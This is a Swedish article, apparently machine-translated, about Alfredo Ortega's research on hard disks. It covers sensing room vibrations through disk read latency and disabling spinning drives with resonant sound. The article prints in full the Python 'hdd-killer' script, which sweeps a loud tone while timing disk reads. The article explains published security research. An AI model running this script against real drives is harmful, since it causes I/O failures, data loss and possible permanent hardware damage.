Varför du inte kan skrika på din hårddisk

Varför du inte kan skrika på din hårddisk

Vid datasäkerhetskonferensen Ekoparty 2017 i Buenos Aires visade den argentinske hackaren Alfredo Ortega en mycket intressant utveckling – ett system för hemlig avlyssning av lokaler utan att använda mikrofon. Ljud spelas in direkt på hårddisken!

Hårddisken fångar huvudsakligen upp högintensiva lågfrekventa ljud, fotsteg och andra vibrationer. Mänskligt tal kan ännu inte kännas igen, även om forskare bedriver forskning i denna riktning (taligenkänning genom lågfrekventa vibrationer, som spelas in till exempel från ett gyroskop eller hårddisk).

Ljud är vibration av luft eller annat medium. En person uppfattar dem genom trumhinnan, som överför vibrationer till innerörat. Mikrofonen är utformad ungefär som ett öra – även här registreras vibrationer av ett tunt membran, som exciterar en elektrisk impuls. Hårddisken utsätts förstås också för mikroskopiska vibrationer på grund av fluktuationer i den omgivande luften. Detta är känt även från de tekniska egenskaperna hos hårddiskar: tillverkare anger vanligtvis den maximalt tillåtna vibrationsnivån, och hårddisken själv försöker ofta placera den i en vibrationssäker behållare av gummi eller annat isolerande material. Av detta är det lätt att dra slutsatsen att ljud kan spelas in med hårddisken. Allt som återstår är att ta reda på hur.

Alfredo Ortega föreslog en unik version av en sidokanalattack, nämligen en tidsattack. Denna attack är baserad på antagandet att olika operationer utförs på enheten vid olika tidpunkter, beroende på indata som ges. I det här fallet är "indata" vibrationerna från läshuvudet och HDD-plattan, som korrelerar med vibrationerna i miljön, det vill säga med ljud. Genom att mäta beräkningstiden och utföra en statistisk analys av data kan således vibrationerna hos huvudet/plattan och därmed mediets vibrationer mätas. Ju längre fördröjning det är att läsa data, desto starkare blir hårddiskens vibrationer och därför desto högre ljud.

Hur mäter man hårddiskens vibrationer? Mycket enkelt: kör bara systemanropet read () — och registrera den tid det tar att slutföra. Moderna operativsystem låter dig läsa tidpunkten för systemsamtal med nanosekunders noggrannhet.

Hastigheten för att läsa information från en sektor beror på läget för huvudet och plattan, vilket korrelerar med vibrationerna i hårddisken. Det är allt.

Statistisk analys utförs med ett enkelt Kscope-verktyg. Som de säger, allt genialt är enkelt.

Varför du inte kan skrika på din hårddisk
Verktyget Kscope (stat() syscall)

Kscope är ett litet verktyg för att visualisera små skillnader i körtider för systemanrop. Källapublicerad på GitHub.

I ett separat förråd HDD-tid det finns en version av verktyget konfigurerad för en tidsattack på hårddisken, det vill säga konfigurerad för att analysera systemanropet read ().

Demonstration av ljudinspelning med hårddisk, drift av Kscope-verktyget


Naturligtvis kan tal inte förstås på detta sätt, men hårddisken är ganska lämplig som vibrationssensor. Till exempel kan du registrera om en person som bär hårda skor eller barfota gick in i ett rum med en dator (förmodligen, om angriparen har på sig mjuka sneakers eller det finns en tjock matta på golvet, kommer hårddisken inte att kunna registrera vibrationer - detta är värt att kolla upp). Datorn kan registrera krossat glas eller andra incidenter med stark ljudintensitet. Det vill säga att hårddisken kan fungera som ett slags system för upptäckt av obehörigt intrång.

HDD-mördare

Förresten, en liknande teknik kan användas för att inaktivera hårddiskar. Bara här tar vi inte bort svängningar från hårddisken, utan tvärtom genererar vi svängningar som matas till hårddisken. Om du spelar upp ljud från en högtalare med en frekvens som resonerar med hårddiskens frekvens, stänger systemet snart av enheten med ett I/O-fel (Linuxkärnan stänger av hårddisken helt efter 120 sekunder). Själva hårddisken kan få oåterkalleliga skador.

Varför du inte kan skrika på din hårddisk
Linuxkärnan stängde av hårddisken efter 120 sekunder av att leverera ljud med en resonansfrekvens genom högtalaren på Edifier r19u USB-högtalaren. Högtalaren slås på med ungefär en fjärdedel av effekten (mindre än 100 mW) och är placerad 20 cm från hårddisken, riktad mot bordet för att förstärka vibrationer. Ram från video med en demonstration av HDD-mördaren

Det är konstigt att sådana "attacker" på hårddiskar ibland inträffar helt av en slump i vardagen. Till exempel, i september 2016, tvingades ING Banks datacenter att avbryta verksamheten i 10 timmar efter en brandövning. Dussintals hårddiskar har misslyckats på grund av det höga ljudet av inert gas som släpps ut från flaskor under högt tryck. Ljudet var väldigt högt (mer än 130 dB), men du kan inte ens skrika på hårddiskarna - detta ökar fördröjningen i åtkomst till hårddisken.

Demonstration av mänskligt skrik på hårddiskar i ett datacenter. Latensmätning


För att generera resonansljudet skrev Alfredo Ortega ett Python-skript som heter hdd-mördare (videodemonstration).

HDD killer script Den är ganska liten, så du kan publicera den i sin helhet här.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Källa: will.com

Lägg en kommentar